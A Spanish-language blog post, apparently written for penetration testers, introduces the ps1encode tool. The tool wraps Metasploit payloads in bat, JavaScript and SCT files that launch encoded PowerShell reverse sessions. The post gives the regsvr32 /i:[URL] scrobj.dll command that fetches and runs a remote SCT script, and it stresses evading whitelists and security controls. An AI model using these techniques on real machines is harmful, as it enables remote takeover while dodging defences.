Hace unos días hablábamos de la posibilidad de
utilizar un vector “diferente” para lograr evadir listas blancas y mecanismos de seguridad y conseguir ejecutar código en el equipo. Los archivos
SCT nos proporcionaban esa vía, gracias a
subTee. La herramienta
ps1encode, escrita en el lenguaje
Ruby, permite obtener una serie de
payloads migrados desde
Metasploit y preparados en el lenguaje que necesitemos. El objetivo final de dichos lenguajes es conseguir ejecutar una
Powershell y lanzar el payload a través de ella.
|
Figura 1: PS1Encode. Generar payloads en Powershell usando distinto vías |
Ya hemos hablado en otras ocasiones que
Powershell nos da la posibilidad de evadir mecanismos de seguridad, por lo que probar
ps1encode es, casi, una obligación. En el artículo vamos a ir viendo las diferentes posibilidades que presenta
ps1encode, que como se verán no son pocas. La herramienta tiene un uso sencillo y puede ser descargada
desde Github.
Como se puede ver en la imagen,
ps1encode dispone de diferentes opciones para generar código en diferentes formatos y lenguajes, como puede ser
bat, vba, vbs, exe, javascript, php o
sct. Es interesante recordar las posibilidades que nos ofrecía SCT, como vimos
en el artículo de hace unos días. La aplicación
ps1encode dispone de los siguientes parámetros:
• LHOST. Indica la dirección IP dónde devolver el control.
• LPORT. Indica el puerto local dónde se conectará el payload, en el caso de los reverse.
• PAYLOAD. Indica el tipo de payload a utilizar de Metasploit.
• ENCODE. Formato de salida, en el cual se debe incluir el payload seleccionado.
• La opción 32bitexe fuerza a crear un ejecutable de 32 bit con el payload. Lógicamente con el parámetro ENCODE se puede seleccionar diferentes formatos.
|
Figura 3: Opciones de ps1enconde |
En muchas ocasiones, los payload generados con este tipo de herramientas permite evadir mecanismos de seguridad y generar menos ruido que otras muchas herramientas. Es importante analizar y ver el resultado final que nos proporciona
ps1encode.
PoC: SCT con WebServerSi nos fijamos en la documentación proporcionada por el creador de
ps1encode, podemos ver que se puede obtener dos formatos que requieren de un servidor web externo. Son el caso de
lnk y
sct. Cuando generamos el fichero
SCT obtenemos una salida similar a la que se puede ver en la imagen. Nos solicitan un servidor web para realizar la etapa de
staging.
|
Figura 4: Configuración del fichero SCT |
Es importante ver que el módulo
exploit/multi/handler de
Metasploit será el encargado de darnos ese
staging de conexión, es decir, dónde va todo el código de
Meterpreter en este caso. Como vemos nos solicitan una dirección
URL, ésta deberá ser dónde se encuentre el módulo
multi/handler de
Metasploit a la escucha para entregar el
staging. El fichero resultante es
index.sct, el cual tiene un código sencillo. Simplemente tendremos que ejecutar en un sistema operativo
Microsoft Windows la instrucción:
|
Figura 5: Ejecución del comando "regsvr32 /s /n /u /i:[dirección URL del fichero SCT generado] scrobj.dll" |
Como podemos ver, el código a ejecutar en el cuerpo del
SCT es un
Javascript, el cual ejecuta una
Powershell, la cual invocará un
script codificado en
BASE64 y negociará con el código del
multi/handler devolviendo, finalmente, el control de la máquina
Windows.
|
Figura 6: Invocación remota del fichero sct |
Al ejecutar esto, si echamos un ojo al módulo
multi/handler encontramos que tenemos la sesión disponible. En ese instante tenemos el control remoto de la máquina. Este tipo de ataques pueden ser muy útiles de juntar, por ejemplo, con
Rubber Ducky o con
Teensy.
|
Figura 7: Ejecución del exploit vía Metasploit |
PoC: JS y Bat, otras posibilidadesComo hemos visto,
ps1encoder permite ejecutar una sesión
Powershell y el
payload codificado en
BASE64 desde diferentes tecnologías y plataformas. Ahora vamos a ver una pequeña prueba de concepto en
Javascript y en
BAT. Para el caso de un
.bat, el resultado es muy sencillo, simplemente hay que invocar una
Powershell y ejecutar el código en
BASE64, por lo que apenas tiene construcción dentro de código propio de un
.bat, tal y como se puede ver en la imagen. Para generar el código, solo tenemos que cambiar el tipo de formato de
SCT a
CMD.
|
Figura 8: Generación de fichero en formato CMD |
Por último, tenemos la opción
Javascript. Podemos generar un fichero
Javascript, por ejemplo, con el nombre por defecto de
index.js, y cuando éste sea ejecutado poder obtener una sesión de un
Meterpreter.
|
Figura 9: Código JavaScript |
La ejecución en este caso podría ser directa a través de la ejecución del fichero
Javascript, lo cual proporciona un vector interesante para un atacante. Como hemos podido ver, la herramienta proporciona diferentes vías y técnicas para:
• Evadir mecanismos de protección mediante el uso de Powershell y payload codificados en base64 que se ejecutan directamente en memoria.
• Generar menos ruido que con el uso de otras herramientas en el entorno de auditoría.
• Utilizar técnicas menos conocidas que permiten pasar desapercibido en ciertos escenarios.
Las posibilidades de
ps1encode son muy interesantes y es una de las herramientas que debemos llevar en la mochila en un
ethical hacking. ¿La has probado?
Autor: Pablo González Pérez (@pablogonzalezpe)Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”